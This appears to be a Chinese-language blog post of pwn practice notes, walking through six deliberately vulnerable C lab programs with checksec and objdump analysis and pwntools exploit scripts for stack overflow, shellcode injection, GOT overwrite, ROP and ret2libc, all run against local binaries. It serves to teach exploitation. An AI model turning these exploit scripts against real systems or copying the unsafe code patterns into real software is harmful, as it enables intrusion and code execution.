Posts pwn 练习
Post
Cancel

pwn 练习

Bof

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# include <stdio.h>
# include <stdlib.h>
# include <unistd.h>

void get_sh()
{
    execve("/bin/sh", (char * []){0}, (char * []){0})
}

int main(int argc, char const * argv[])
{
    char buf[0x10]
    puts("first challenge!")
    fflush(stdout)
    read(0, buf, 0x30)
    return 0
}

Makefile

gcc -fno-stack-protector -no-pie -o bof bof.c

分析

  1. checksec 检查如下
1
2
3
4
5
6
[*] '/ctf/work/bof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
  1. objdump 查看函数位置
1
2
3
4
5
0000000000401196 <get_sh>:
  401196:       f3 0f 1e fa             endbr64
  40119a:       55                      push   rbp
  40119b:       48 89 e5                mov    rbp,rsp
  40119e:       48 83 ec 10             sub    rsp,0x10

Exp

1
2
3
4
5
6
7
8
9
10
from pwn import *

r = process("./bof")

r.recvuntil("!\n")
p = b'a' * 0x18 + p64(0x401196)

r.send(p)

r.interactive()

update - 2020-10-28

Bof1

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

void get_sh()
{
    int allow=0;
    if (allow)
    {
        execve("/bin/sh",0,0);
    }
    else{
        puts("No,Bye~");
        exit(0);
    }
}

int main(int argc, char const *argv[])
{
    char buf[0x10];
    puts("second challenge!");
    fflush(stdout);
    read(0,buf,0x30);
    if (strlen(buf) >= 0x10)
    {
        puts("Bye~");
        exit(0);
    }
    return 0;
}

Makefile

gcc -fno-stack-protector -no-pie bof1.c -o bof1

考点

Return to Text

  1. strlen()\x00截断绕过
  2. allow可以直接跳转到execve()函数地址绕过

分析

  1. checksec分析

    1
    2
    3
    4
    5
    6
    
    [*] '/ctf/work/bof1'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    
  2. objdump命令查看函数地址

    • get_sh()函数地址:0x4011d6
    • execve()函数开始地址:0x4011ef

我们直接将函数返回地址定位到execve()函数开启地址是不行的,因为在主函数处有长度检测,不过可以通过00截断来绕过strlen()函数

Exp

1
2
3
4
5
6
7
8
9
10
from pwn import *

r = process("./bof1")

r.recvuntil("!\n")
p = b'\x00' * 0x18 + p64(0x4011ef)

r.send(p)

r.interactive()

ret2sc

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include "stdio.h"
#include "stdlib.h"
#include "unistd.h"

char message[0x30];

int main(int argc, char const *argv[])
{
    char name[0x10];
    puts("Give me your message: ");
    fflush(stdout);
    read(0,message,0x30);
    puts("Give me your name: ");
    fflush(stdout);
    read(0,name,0x30);
    return 0;
}

Makefile

gcc -fno-stack-protector -no-pie -z execstack ret2sc.c -o ret2sc

考点

Return to Shellcode,将shellcode地址写入到返回地址处

分析

  1. checksec分析

    1
    2
    3
    4
    5
    6
    7
    
    [*] '/ctf/work/ret2sc'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX disabled
        PIE:      No PIE (0x400000)
        RWX:      Has RWX segments
    
  2. objdump查找message变量地址

    message变量的地址也就是我们传入的shellcode的地址:0x404060

    1
    2
    3
    
      4011a4:       ba 30 00 00 00          mov    edx,0x30
      4011a9:       48 8d 35 b0 2e 00 00    lea    rsi,[rip+0x2eb0]        # 404060 <message>
      4011b0:       bf 00 00 00 00          mov    edi,0x0
    
  3. 写shellcode的方法

    1. pwntool 工具里封装好的shellcode

      1
      2
      3
      
      context.arch = "amd64"
      sc = asm(shellcraft.sh())
      r.send(sc)
      
    2. 汇编代码编写

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      
      sc = asm('''
      	mov rax,0x68732f6e69622f
      	push rax
      	mov rdi,rsp
      	xor rsi,rsi
      	xor rdx,rdx
      	mov rax,0x3b
      	syscall
      	''')
      r.send(sc)
      

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

r = process("./ret2sc")
context.arch = "amd64"

r.recvuntil("\n")
sc = asm(shellcraft.sh())
r.send(sc)

r.recvuntil("\n")
p = b'a' * 0x18 + p64(0x404060)
r.send(p)

r.interactive()

gothijack

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include "stdio.h"
#include "stdlib.h"
#include "unistd.h"

char name[0x40];

int main(int argc, char const *argv[])
{
    int unsigned long long addr;
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    printf("What's your name?\n");
    read(0,name,0x40);
    printf("Where do you want to write?\n");
    scanf("%llu",&addr);
    printf("Data: ");
    read(0,(char *)addr, 8);
    puts("Done!");
    printf("Thank you %s!\n",name);
    return 0;
}

Makefile

gcc -z execstack -no-pie -o gothijack gothijack.c

考点

Linux中PLT和GOT表以及延迟绑定机制

分析

  1. checksec分析

    1
    2
    3
    4
    5
    6
    7
    
    [*] '/ctf/work/gothijack'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX disabled
        PIE:      No PIE (0x400000)
        RWX:      Has RWX segments
    
  2. 根据Linux中PLT&GOT表的延迟绑定机制,我们可以知道在scanf()函数要求我们输入地址前后1,都使用printf()函数输出字符串,因此只要我们在更改<printf@plt>值为shellcode的地址后,一旦再次调用printf()函数就会直接执行shellcode

  3. 通过objdump查地址

    • 存放shellcode的name地址:0x404080

    • <printf@plt>的地址:0x404028

      1
      2
      3
      4
      
      00000000004010b0 <printf@plt>:
        4010b0:       f3 0f 1e fa             endbr64
        4010b4:       f2 ff 25 6d 2f 00 00    bnd jmp QWORD PTR [rip+0x2f6d]        # 404028 <printf@GLIBC_2.2.5>
        4010bb:       0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]
      

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

r = process("./gothijack")
context.arch = "amd64"

r.recvuntil("name?\n")
sc = asm(shellcraft.sh())
r.send(sc)

r.recvuntil("write?\n")
p = 0x404028
r.sendline(str(p))

r.recvuntil("Data: \n")
p1 = p64(0x404080)
r.send(p1)

r.interactive()

update: 2020-10-29

rop

源码

1
2
3
4
5
6
7
8
9
10
11
12
#include "stdio.h"
#include "stdlib.h"
#include "unistd.h"

int main(int argc, char const *argv[])
{
    char buf[0x10];
    puts("This is your first rop challenge!");
    fflush(stdout);
    read(0,buf,0x90);
    return 0;
}

Makefile

gcc -fno-stack-protector -no-pie -static -o rop rop.c

考点

Return Oriented Programming:通过不断去执行包含ret的程序片段2来达到想要的操作

ROP chain:由众多ROP gadget组成,并且可以串成任意代码执行的效果,此外可以取代以添加shellcode操作而进行的攻击

函数内的局部变量一般放在.bss

Linux System Call Table

分析

  1. checksec分析

    1
    2
    3
    4
    5
    6
    
    [*] '/ctf/work/rop'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    

    程序有Canary检查,在函数栈帧初始化时会在栈上放置canary值并且在退出前验证,但我们通过ROP chain修改了程序流向,最终是执行不到Canary检查;此外启用了NX,使栈区域的代码无法执行

  2. 通过ROPgadget来构造ROP chain

    1. 导出文件中所有gadget:ROPgadget --binary rop > rop_gadget
    2. 找gadget地址:cat rop_gadget | grep "pop rdi ; ret"

    构造ROP chain的目的是将代码片段串成调用execve()函数的代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
    pop rdi;ret
    # 存储地址
    pop rsi;ret
    '/bin/sh\x00'
    mov qword ptr [rdi],rsi;ret
    pop rsi;ret
    0x0
    pop rdx;ret
    0x0
    pop rax;ret
    0x3b
    # syscall;ret
    

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

r = process("./rop")

r.recvuntil("!\n")

pop_rdi = p64(0x40186a)
pop_rsi = p64(0x40f3ae)
mov_rsi = p64(0x445d5f)
pop_rsi = p64(0x40f3ae)
pop_rdx = p64(0x40176f)
pop_rax = p64(0x449297)
syscall = p64(0x4012d3)
bss = p64(0x4c2240)

p = b'a' * 0x18
p += pop_rdi
p += bss
p += pop_rsi
p += b'/bin/sh\x00'
p += mov_rsi
p += pop_rsi
p += p64(0)
p += pop_rdx
p += p64(0)
p += pop_rax
p += p64(0x3b)
p += syscall

r.send(p)

r.interactive()

ret2plt

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include "stdio.h"
#include "stdlib.h"
#include "unistd.h"

char name[0x10];

int main(int argc, char const *argv[])
{
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);
    char buf[0x10];
    system("echo what is your name?");
    read(0,name,0x10);
    puts("Say something: ");
    read(0,buf,0x40);
    return 0;
}

Makefile

gcc -fno-stack-protector -no-pie -o ret2plt ret2plt.c

考点

Return to PLT

通过使用 PLT表构成 gadget

分析

  1. checksec分析

    1
    2
    3
    4
    5
    6
    
    [*] '/ctf/work/ret2plt'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    
  2. objdumpname地址:0x404070

  3. ROPgadget构造链

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

r = process("./ret2plt")

r.recvuntil("?\n")
r.send("sh\x00")

r.recvuntil(" \n")
p = b'a' * 0x18
p += p64(0x401293) # pop rdi;ret
p += p64(0x404070) # name address
p += p64(0x40101a) # ret
p += p64(0x401080) # <system@plt> address
r.send(p)

r.interactive()

update: 2020-10-31

ret2libc

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char const *argv[])
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  char addr[16];
  char buf[16];
  printf("You have one chance to read the memory!\n");
  printf("Give me the address in hex: ");
  read(0, addr, 0x10);
  unsigned long long iaddr = strtoll(addr, 0, 16);
  printf("\nContent: %lld\n", *(unsigned long long *)iaddr);
  printf("Give me your messege: ");
  read(0, buf, 0x90);
  return 0;
}

Makefile

gcc -fno-stack-protector -no-pie -o ret2libc re2libc.c

考点

strtoll()函数功能:将字符串转成long long型的值

Return to libc

libc 中有许多可以利用的程序片段,可以让我们使用systemexecve等可以开shell的函数

分析

  1. checksec分析

    1
    2
    3
    4
    5
    6
    
    [*] '/ctf/work/ret2libc'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    
  2. readelfputs函数偏移地址:0x809c0

    readelf -a libc-2.27.so |grep "puts"

  3. ROPgadget/bin/sh地址

    ROPgadget --binary libc-2.27.so --string "/bin/sh"

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

r = process("./ret2libc")

put_offset = 0x809c0


r.recvuntil(": ")
r.send('0x601018')


r.recvuntil("Content: ")
put_addr = int(r.recvuntil("\n")[:-1])  # 0x7ffff7a649c0
print(hex(put_addr))
libc_base = put_addr - put_offset

bin_sh = 0x1b3e9a
pop_rdi = 0x000000000002155f  # pop rdi ; ret
pop_rsi = 0x0000000000023e6a  # pop rsi ; ret
pop_rdx = 0x0000000000001b96  # pop rdx ; ret
pop_rax = 0x00000000000439c8  # pop rax ; ret
syscall = 0x00000000000d2975  # syscall ; ret

r.recvuntil(": ")
p = b'A' * 0x38
p += p64(libc_base + pop_rdi)
p += p64(libc_base + bin_sh)
p += p64(libc_base + pop_rsi)
p += p64(0)
p += p64(libc_base + pop_rdx)
p += p64(0)
p += p64(libc_base + pop_rax)
p += p64(0x3b)
p += p64(libc_base + syscall)
r.send(p)

r.interactive()

Ref.


  1. 是执行到这句printf("Thank you %s!\n", name);才跳转到shellcode 

  2. 这些片段也称为 gadget 

This post is licensed under CC BY 4.0 by the author.

简析ECC攻击方法

log

Comments powered by Disqus.